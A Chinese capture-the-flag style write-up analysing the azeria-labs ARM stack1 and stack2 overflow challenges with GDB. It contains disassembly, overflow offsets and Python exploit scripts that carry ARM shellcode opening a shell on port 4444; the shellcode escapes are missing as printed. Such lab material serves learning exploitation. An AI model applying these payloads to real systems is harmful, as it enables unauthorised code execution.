ARM汇编之堆栈溢出实战分析二(GDB)

 

引言

经过很长一段时间在azeria-labs进行的ARM基础汇编学习,学到了很多ARM汇编的基础知识、和简单的shellcode的编写,为了验证自己的学习成果,根据该网站提供的实例,做一次比较详细的逆向分析,和shellcode的实现,为自己的ARM入门学习巩固,本篇Paper是承接上一篇ARM汇编之堆栈溢出实战分析一(GDB)后针对剩余的练习例子做一个分析。

实例下载地址:git clone https://github.com/azeria-labs/ARM-challenges.git

调试环境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(这些都是按照网站教程安装的如果自己有ARM架构的操作系统也是可以的)

 

stack1

这里用到了checksec工具,简要说下下载安装方式
先下载cheksec:git clone https://github.com/slimm609/checksec.sh.git,然后使用ln -sf <checksec绝对路径> /usr/bin/checksec,安装ok

  1. checksec -f stack1,保护措施基本都已经关闭,所以不需要做涉及更多的绕过技术来逃过保护机制,下面直接分析程序
    pi@raspberrypi:~/Desktop/ARM-challenges $ checksec -f stack1
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable  FILE
    No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   113 Symbols     No    0        4    stack1
    
  2. 直接运行程序./stack1,返回如下,让我们附带参数输入。
pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack1
stack1: please specify an argument

pi@raspberrypi:~/Desktop/ARM-challenges $

附带参数输入,根据返回结果说明内部有个判断语句将错误的参数都返回执行这样的输出,下面我们进入程序汇编代码,仔细分析他的逻辑

pi@raspberrypi:~/Desktop/ARM-challenges $ ./stack1 111
Try again, you got 0x00000000

3.objdump -d ./stack1获取到反汇编代码

第一个分支判断语句:可以看到,先判断[fp, #-80]内的参数的个数(可执行文件路径名占第一个参数值),来进行第一次分支跳转,如果没有跳转就输出[pc, #92]-->0x10538-->0x000105bc-->"please specify an argumentn",然后退出。所以我们假设输入了参数,执行了第一个分支跳转,跳到了104dc位置执行,在这里它将r1+4的位置也就是参数存放的地址给了r3,然后当参数赋值给r1,把r11-#72的位置放入参数r0内,开始执行strcpy函数,把第一个参数的值的地址赋给r0。

第二个分支判断语句:将之前[fp, #-8]地址处的0[pc, #48]处的值0x61626364进行比较,如果不相等,就跳转到1051c,格式化输出带有[fp, #-8]处值的Try again, you got 0x%08xn。到这里我们基本知道我们的目标就是走另外一条分支,也就是不跳转到1051c,则需要满足[fp, #-8]地址处的值,x/4x 0x1053c查询后为(bcda):

0x1053c <main+140>:    0x64    0x63    0x62    0x61

经过计算从r11-#72的用户参数开始到fp, #-8之间的距离为64字节长度,在加上覆盖的4字节,共计需要68字节长度的参数。最后我们构造尾部四个字符为dcba长度为68字节的参数即可。至此我们的第二个挑战stack1已经分析完成

raspberrypi:~/Desktop/ARM-challenges $ ./stack1 abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcddcba
you have correctly got the variable to the right value
000104b0 <main>:
    //初始化操作:压栈、分配栈空间、保存r0:参数个数、r1:文件的路径名称
   104b0:    e92d4800     push    {fp, lr}
   104b4:    e28db004     add    fp, sp, #4
   104b8:    e24dd050     sub    sp, sp, #80    ; 0x50
   104bc:    e50b0050     str    r0, [fp, #-80]    ; 0xffffffb0
   104c0:    e50b1054     str    r1, [fp, #-84]    ; 0xffffffac
    //第一个分支判断语句  
   104c4:    e51b3050     ldr    r3, [fp, #-80]    ; 0xffffffb0
   104c8:    e3530001     cmp    r3, #1
   104cc:    1a000002     bne    104dc <main+0x2c>
   104d0:    e3a00001     mov    r0, #1
   104d4:    e59f105c     ldr    r1, [pc, #92]    ; 10538 <main+0x88>
   104d8:    ebffffa4     bl    10370 <errx@plt>
   104dc:    e3a03000     mov    r3, #0
   104e0:    e50b3008     str    r3, [fp, #-8]
   104e4:    e51b3054     ldr    r3, [fp, #-84]    ; 0xffffffac
   104e8:    e2833004     add    r3, r3, #4
   104ec:    e5933000     ldr    r3, [r3]
   104f0:    e24b2048     sub    r2, fp, #72    ; 0x48
   104f4:    e1a00002     mov    r0, r2
   104f8:    e1a01003     mov    r1, r3
   104fc:    ebffff8f     bl    10340 <strcpy@plt>
    //第二个分支判断语句
   10500:    e51b3008     ldr    r3, [fp, #-8]
   10504:    e59f2030     ldr    r2, [pc, #48]    ; 1053c <main+0x8c>
   10508:    e1530002     cmp    r3, r2
   1050c:    1a000002     bne    1051c <main+0x6c>
   10510:    e59f0028     ldr    r0, [pc, #40]    ; 10540 <main+0x90>
   10514:    ebffff8c     bl    1034c <puts@plt>
   10518:    ea000003     b    1052c <main+0x7c>
   1051c:    e51b3008     ldr    r3, [fp, #-8]
   10520:    e59f001c     ldr    r0, [pc, #28]    ; 10544 <main+0x94>
   10524:    e1a01003     mov    r1, r3
   10528:    ebffff81     bl    10334 <printf@plt>
   1052c:    e1a00003     mov    r0, r3
   10530:    e24bd004     sub    sp, fp, #4
   10534:    e8bd8800     pop    {fp, pc}
   10538:    000105bc     .word    0x000105bc
   1053c:    61626364     .word    0x61626364
   10540:    000105d8     .word    0x000105d8
   10544:    00010610     .word    0x00010610

最后再加一点点内容,追加一个EXP,注意给EXP清除NULL字符(0x00,0x20),下面是shellcode

x01x30x8fxe2x13xffx2fxe1x01x21x48x1cx92x1axc8x27x51x37x01xdfx04x1cx14xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx60x1cx01x38x02x21x02x37x01xdfx60x1cx01x38x49x40x52x40x01x37x01xdfx04x1cx60x1cx01x38x49x1ax3fx27x01xdfxc0x46x60x1cx01x38x01x21x01xdfx60x1cx01x38x02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58

使用python脚本来构造EXP

import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//返回地址0xbefff000会被90补充,所以多往下都一个地址
return_addr = struct.pack("I", 0xbefff004)

payload1 = "x01x30x8fxe2x13xffx2fxe1x01x21x48x1cx92x1axc8x27x51x37x01xdfx04x1cx14xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx60x1cx01x38x02x21x02x37x01xdfx60x1cx01x38x49x40x52x40x01x37x01xdfx04x1cx60x1cx01x38x49x1ax3fx27x01xdfxc0x46x60x1cx01x38x01x21x01xdfx60x1cx01x38x02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58"

print padding + return_addr + "x90"*100 + payload1

最后执行:./stack1 $(python poc.py)成功开启exp

Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
ls
README.md
e4
exp
poc.py
stack0
stack1
stack2
stack3
stack4
stack5
stack6

 

stack2

开始第三个例子的练习

  1. file ./stack2
    很明显这也是ELF可执行文件,并且符号表没有删除可以使用nm查看这个文件的符号表,这里我习惯用命令objdump -d ./stack2查看反汇编代码对照着来进行gdb调试
    stack2: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=6bd4180a77908e31088564f232ac2d600a3109b0, not stripped

反汇编结果,代码逻辑:getenv获取特定环境变量,这个环境变量的name为1056c 地址处值,将获取的环境变量值的地址存进[fp, #-8]地址,并且进行第一次分支判断,如果获取的环境变量值为0,就会退出程序。这里我们遇到了第一个需要绕过的点,设置一个特定名称的环境变量,在下面调试的时候我们会获取到这个名称,现在我们假设已经设置好需要环境变量,继续往下走,然后就遇见了strcpy,将[fp, #-8]地址处的字符串写入fp-#76处,也就是将特定环境变量的值写入栈内,明显是个溢出点。随后就是一些if-else语句,判断栈数据来进行相应的输出显示,来说明这个程序是否被攻破。

000104e4 <main>:
   104e4:    e92d4800     push    {fp, lr}
   104e8:    e28db004     add    fp, sp, #4
   104ec:    e24dd050     sub    sp, sp, #80    ; 0x50
   104f0:    e50b0050     str    r0, [fp, #-80]    ; 0xffffffb0
   104f4:    e50b1054     str    r1, [fp, #-84]    ; 0xffffffac
   104f8:    e59f006c     ldr    r0, [pc, #108]    ; 1056c <main+0x88>
   104fc:    ebffff9c     bl    10374 <getenv@plt>
   10500:    e50b0008     str    r0, [fp, #-8]
   10504:    e51b3008     ldr    r3, [fp, #-8]
   10508:    e3530000     cmp    r3, #0
   1050c:    1a000002     bne    1051c <main+0x38>
   10510:    e3a00001     mov    r0, #1
   10514:    e59f1054     ldr    r1, [pc, #84]    ; 10570 <main+0x8c>
   10518:    ebffffa1     bl    103a4 <errx@plt>
   1051c:    e3a03000     mov    r3, #0
   10520:    e50b300c     str    r3, [fp, #-12]
   10524:    e24b304c     sub    r3, fp, #76    ; 0x4c
   10528:    e1a00003     mov    r0, r3
   1052c:    e51b1008     ldr    r1, [fp, #-8]
   10530:    ebffff8c     bl    10368 <strcpy@plt>
   10534:    e51b300c     ldr    r3, [fp, #-12]
   10538:    e59f2034     ldr    r2, [pc, #52]    ; 10574 <main+0x90>
   1053c:    e1530002     cmp    r3, r2
   10540:    1a000002     bne    10550 <main+0x6c>
   10544:    e59f002c     ldr    r0, [pc, #44]    ; 10578 <main+0x94>
   10548:    ebffff8c     bl    10380 <puts@plt>
   1054c:    ea000003     b    10560 <main+0x7c>
   10550:    e51b300c     ldr    r3, [fp, #-12]
   10554:    e59f0020     ldr    r0, [pc, #32]    ; 1057c <main+0x98>
   10558:    e1a01003     mov    r1, r3
   1055c:    ebffff7e     bl    1035c <printf@plt>
   10560:    e1a00003     mov    r0, r3
   10564:    e24bd004     sub    sp, fp, #4
   10568:    e8bd8800     pop    {fp, pc}
   1056c:    000105f4     .word    0x000105f4
   10570:    000105fc     .word    0x000105fc
   10574:    0d0a0d0a     .word    0x0d0a0d0a
   10578:    0001062c     .word    0x0001062c
   1057c:    00010658     .word    0x00010658
  1. gdb调试
  • 先在getenv下个断点,b *0x000104fc,然后r运行起来,就可以根据上面的反汇编代码,获取特定环境变量名称的地址x/1wx 0x1056c,获取到地址再获取字符串的值,命令如下,得到字符串GREENIE,获取到环境变量值,我们就可以设置对象的环境变量来满足它的要求
    gef> x/1wx 0x1056c
    0x1056c <main+136>:    0x000105f4
    gef> x/s 0x000105f4
    0x105f4:    "GREENIE"
    
  • 设置环境变量export,这里使用命令export GREENIE=A设置环境变量,可以使用export来检查是否成功加入。成功设置好环境变量后,继续执行,它会将环境变量值赋到fp-#76栈地址内
    pi@raspberrypi:~/Desktop/ARM-challenges $ export GREENIE=A
    pi@raspberrypi:~/Desktop/ARM-challenges $ export
    declare -x GREENIE="A"
    declare -x HOME="/home/pi"
    
  • Try again的回显
    比较栈内数据[r11, #-12](0xbefff0d0)[pc, #52]处的数据大小,如果不相等就会跳转到0x10550,随后输出Try again,让再次尝试
    ->   0x10534 <main+80>        ldr    r3,  [r11,  #-12]
       0x10538 <main+84>        ldr    r2,  [pc,  #52]    ; 0x10574 <main+144>
       0x1053c <main+88>        cmp    r3,  r2
       0x10540 <main+92>        bne    0x10550 <main+108>
    ........
     ldr    r3, [fp, #-12]
    10554:    e59f0020     ldr    r0, [pc, #32]    ; 1057c <main+0x98>
    10558:    e1a01003     mov    r1, r3
    1055c:    ebffff7e     bl    1035c <printf@plt>
    10560:    e1a00003     mov    r0, r3
    10564:    e24bd004     sub    sp, fp, #4
    10568:    e8bd8800     pop    {fp, pc}
    

    [pc, #52]的值可以运行x/4b,查看

    gef> x/4b 0x10574
    0x10574 <main+144>:    0x0a    0x0d    0x0a    0x0d
    
  • 终点分支:很明显我们需要跳转到下面的代码处,来攻破这个程序,所以需要计算满足上面的比较,让[r11, #-12]处的值为0x0a 0x0d 0x0a 0x0d,所以我们需要利用溢出来实现这个比较的相等,再往前逆向,我们需要使用环境变量GREENIE的值来溢出覆盖到[r11, #-12]

环境变量值起点地址:fp-#76
需要覆盖的地址:fp-#12([r11, #-12])
使用的覆盖值:0x0a 0x0d 0x0a 0x0d

最后计算64字节的padding + 4字节的覆盖值

   10534:    e51b300c     ldr    r3, [fp, #-12]
   10538:    e59f2034     ldr    r2, [pc, #52]    ; 10574 <main+0x90>
   1053c:    e1530002     cmp    r3, r2
   10540:    1a000002     bne    10550 <main+0x6c>
   10544:    e59f002c     ldr    r0, [pc, #44]    ; 10578 <main+0x94>
   10548:    ebffff8c     bl    10380 <puts@plt>
   1054c:    ea000003     b    10560 <main+0x7c>
........
   10560:    e1a00003     mov    r0, r3
   10564:    e24bd004     sub    sp, fp, #4
   10568:    e8bd8800     pop    {fp, pc}
  • 覆盖执行
    利用export GREENIE=1111111111111111111111111111111111111111111111111111111111111111干好覆盖64字节的数据到0xbefff0d0处,这64字节的padding成功完成他们的任务,我们再加上4字节的0x0a 0x0d 0x0a 0x0d(nrnr)即可,使用命令export GREENIE=$'1111111111111111111111111111111111111111111111111111111111111111nrnr'即可写入特殊字符到环境变量
gef> x/30wx 0xbefff090
0xbefff090:    0x31313131    0x31313131    0x31313131    0x31313131
0xbefff0a0:    0x31313131    0x31313131    0x31313131    0x31313131
0xbefff0b0:    0x31313131    0x31313131    0x31313131    0x31313131
0xbefff0c0:    0x31313131    0x31313131    0x31313131    0x31313131
0xbefff0d0:    0x00000000

破解成功

pi@raspberrypi:~/Desktop/ARM-challenges $  ./stack2
you have correctly modified the variable

如果想用到exp:第一:获取栈内返回地址的下一个栈地址:0xbeffeff0和溢出点到返回地址的长度,第二:使用命令export $(python poc.py)把exp代码写到环境变量中

import struct
padding = "1111111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbeffeff0)

payload1 = "x01x30x8fxe2x13xffx2fxe1x01x21x48x1cx92x1axc8x27x51x37x01xdfx04x1cx14xa1x4ax70x8ax80xc0x46x8ax71xcax71x10x22x01x37x01xdfx60x1cx01x38x02x21x02x37x01xdfx60x1cx01x38x49x40x52x40x01x37x01xdfx04x1cx60x1cx01x38x49x1ax3fx27x01xdfxc0x46x60x1cx01x38x01x21x01xdfx60x1cx01x38x02x21x01xdfx04xa0x49x40x52x40xc2x71x0bx27x01xdfx02xffx11x5cx01x01x01x01x2fx62x69x6ex2fx73x68x58"

print padding + return_addr + "x90"*100 + payload1

 

小结

从上面两个例子,写出一些本人的个人分析流程,如果有大佬看到不足的地方希望帮忙指教,thanks!

主要流程也就是,拿到样本文件后:了解是什么文件,有什么安全机制,然后看汇编代码了解代码逻辑。

 

附录:

[1] linux程序的常用保护机制
[2] ARM汇编之堆栈溢出实战分析(GDB)
[3] How do I actually write to an environment variable?

(完)